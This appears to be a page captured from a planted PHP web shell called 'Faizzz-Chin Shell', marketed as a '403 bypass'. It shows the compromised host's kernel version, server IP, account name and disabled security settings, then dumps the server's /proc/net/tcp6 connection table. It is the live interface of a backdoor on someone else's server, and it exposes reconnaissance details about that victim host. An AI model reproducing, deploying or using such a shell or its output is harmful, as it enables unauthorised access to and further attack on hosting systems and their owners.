SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

: /proc/self/root/proc/thread-self/net/ [ dr-xr-xr-x ]
Uname\Kernel: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server: LiteSpeed
PHP Version: 8.3.30 [ PHP INFO ]
Operating System: Linux
Server Ip: 104.21.32.157
Your Ip: 216.73.217.61
Date Time: 2026-05-10 02:07:20
User: repauqkb (12019) | Group: repauqkb (11967)
Safe Mode: OFF
Disable Function: NONE

name : tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000001000000:1538 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    26        0 1897856136 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2003318301 1 0000000000000000 100 0 0 10 50
   2: 00000000000000000000000000000000:001A 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2003318303 1 0000000000000000 100 0 0 10 50
   3: 00000000000000000000000000000000:01BC 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897336297 1 0000000000000000 100 0 0 10 256
   4: 00000000000000000000000000000000:01BC 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897336298 1 0000000000000000 100 0 0 10 256
   5: 00000000000000000000000000000000:03E1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897875424 1 0000000000000000 100 0 0 10 0
   6: 00000000000000000000000000000000:2742 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   475        0 1924922706 1 0000000000000000 100 0 0 10 0
   7: 00000000000000000000000000000000:1622 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   468        0 1924900765 1 0000000000000000 100 0 0 10 0
   8: 00000000000000000000000000000000:03E3 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897875376 1 0000000000000000 100 0 0 10 0
   9: 00000000000000000000000000000000:526A 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897949783 1 0000000000000000 100 0 0 10 0
  10: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   484        0 1897815709 1 0000000000000000 100 0 0 10 0
  11: 00000000000000000000000000000000:024B 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2003318307 1 0000000000000000 100 0 0 10 50
  12: 00000000000000000000000000000000:238C 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   476        0 868200840 1 0000000000000000 100 0 0 10 0
  13: 00000000000000000000000000000000:006E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897875374 1 0000000000000000 100 0 0 10 0
  14: 00000000000000000000000000000000:238E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897836178 1 0000000000000000 100 0 0 10 0
  15: 00000000000000000000000001000000:030F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1961781694 1 0000000000000000 100 0 0 10 0
  16: 00000000000000000000000000000000:008F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897875422 1 0000000000000000 100 0 0 10 0
  17: 00000000000000000000000000000000:006F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3317 1 0000000000000000 100 0 0 10 0
  18: 00000000000000000000000000000000:01D1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2003318305 1 0000000000000000 100 0 0 10 50
  19: 00000000000000000000000000000000:0051 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897336293 1 0000000000000000 100 0 0 10 256
  20: 00000000000000000000000000000000:0051 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897336294 1 0000000000000000 100 0 0 10 256
  21: 00000000000000000000000000000000:0035 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 1915565872 1 0000000000000000 100 0 0 10 5
  22: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1897883008 1 0000000000000000 100 0 0 10 8
  23: 00000000000000000000000000000000:31F5 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 657925033 1 0000000000000000 100 0 0 10 0
  24: 00000000000000000000000001000000:008F 00000000000000000000000001000000:EC4E 06 00000000:00000000 03:00001651 00000000     0        0 0 3 0000000000000000
  25: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BB8C 01 00000000:00000000 02:00037E73 00000000   484        0 2021783089 2 0000000000000000 21 4 25 10 16
  26: 00000000000000000000000001000000:008F 00000000000000000000000001000000:EC5A 06 00000000:00000000 03:000016C8 00000000     0        0 0 3 0000000000000000
  27: 00000000000000000000000001000000:CADA 00000000000000000000000001000000:030F 06 00000000:00000000 03:00000C89 00000000     0        0 0 3 0000000000000000
  28: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BB9C 01 00000000:00000000 02:00037E73 00000000   484        0 2021783129 2 0000000000000000 20 4 27 10 16
  29: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BBAA 01 00000000:00000000 02:00037E73 00000000   484        0 2021783131 2 0000000000000000 21 4 27 10 16
  30: 00000000000000000000000001000000:B6E8 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:00037E73 00000000  2518        0 2010017290 2 0000000000000000 20 4 24 10 16
  31: 00000000000000000000000001000000:BBBA 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:00037E73 00000000  2518        0 2021773023 2 0000000000000000 20 4 20 10 16
  32: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:D7F6 01 00000000:00000000 02:0005E4DA 00000000   484        0 2032031418 2 0000000000000000 20 7 27 10 16
  33: 00000000000000000000000001000000:D7FE 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:0005E4DA 00000000  2075        0 2032025392 2 0000000000000000 20 4 30 10 16
  34: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:D7FE 01 00000000:00000000 02:0005E4DA 00000000   484        0 2032031420 2 0000000000000000 20 4 31 10 16
  35: 00000000000000000000000001000000:BB96 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:00037E73 00000000  2518        0 2021773020 2 0000000000000000 20 4 24 10 16
  36: 00000000000000000000000001000000:C5CE 00000000000000000000000001000000:008F 06 00000000:00000000 03:000012F1 00000000     0        0 0 3 0000000000000000
  37: 00000000000000000000000001000000:BB9C 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:00037E73 00000000  2518        0 2021773021 2 0000000000000000 20 4 26 10 16
  38: 00000000000000000000000001000000:ABB6 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:0006B1A6 00000000  2518        0 2029678542 2 0000000000000000 20 4 24 10 16
  39: 00000000000000000000000001000000:E902 00000000000000000000000001000000:008F 06 00000000:00000000 03:000002A8 00000000     0        0 0 3 0000000000000000
  40: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:ABB6 01 00000000:00000000 02:0006B1A6 00000000   484        0 2029711614 2 0000000000000000 21 4 23 10 16
  41: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:B6C8 06 00000000:00000000 03:00000329 00000000     0        0 0 3 0000000000000000
  42: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BB8E 01 00000000:00000000 02:00037E73 00000000   484        0 2021783125 2 0000000000000000 21 4 23 10 16
  43: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BB96 01 00000000:00000000 02:00037E73 00000000   484        0 2021783127 2 0000000000000000 21 4 25 10 16
  44: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BBCE 01 00000000:00000000 02:0006B1A6 00000000   484        0 2021783137 2 0000000000000000 21 4 23 10 16
  45: 00000000000000000000000001000000:B6C8 00000000000000000000000001000000:0CEA 06 00000000:00000000 03:00000329 00000000     0        0 0 3 0000000000000000
  46: 00000000000000000000000001000000:BBAA 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:00037E73 00000000  2518        0 2021773022 2 0000000000000000 20 4 22 10 16
  47: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BBBE 01 00000000:00000000 02:0006B1A6 00000000   484        0 2021783135 2 0000000000000000 21 4 23 10 16
  48: 00000000000000000000000001000000:BBBE 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:0006B1A6 00000000  2518        0 2021773024 2 0000000000000000 20 4 24 10 16
  49: 00000000000000000000000001000000:BB8E 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:00037E73 00000000  2518        0 2021773019 2 0000000000000000 20 4 18 10 16
  50: 00000000000000000000000001000000:008F 00000000000000000000000001000000:A080 06 00000000:00000000 03:00000000 00000000     0        0 0 3 0000000000000000
  51: 00000000000000000000000001000000:EC4E 00000000000000000000000001000000:008F 06 00000000:00000000 03:00001651 00000000     0        0 0 3 0000000000000000
  52: 00000000000000000000000001000000:BB8C 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:00037E73 00000000  2518        0 2021806163 2 0000000000000000 20 4 24 10 16
  53: 00000000000000000000000001000000:D7F6 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:0005E4DA 00000000  2075        0 2032025389 2 0000000000000000 20 4 22 10 16
  54: 00000000000000000000000001000000:BBCE 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:0006B1A6 00000000  2518        0 2021773025 2 0000000000000000 20 4 20 10 16
  55: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:B6E8 01 00000000:00000000 02:00037E73 00000000   484        0 2010037666 2 0000000000000000 21 4 27 10 16
  56: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:BBBA 01 00000000:00000000 02:00037E73 00000000   484        0 2021783133 2 0000000000000000 21 4 21 10 16
  57: 00000000000000000000000001000000:EC5A 00000000000000000000000001000000:008F 06 00000000:00000000 03:000016C7 00000000     0        0 0 3 0000000000000000
© 2026 Faizzz-Chin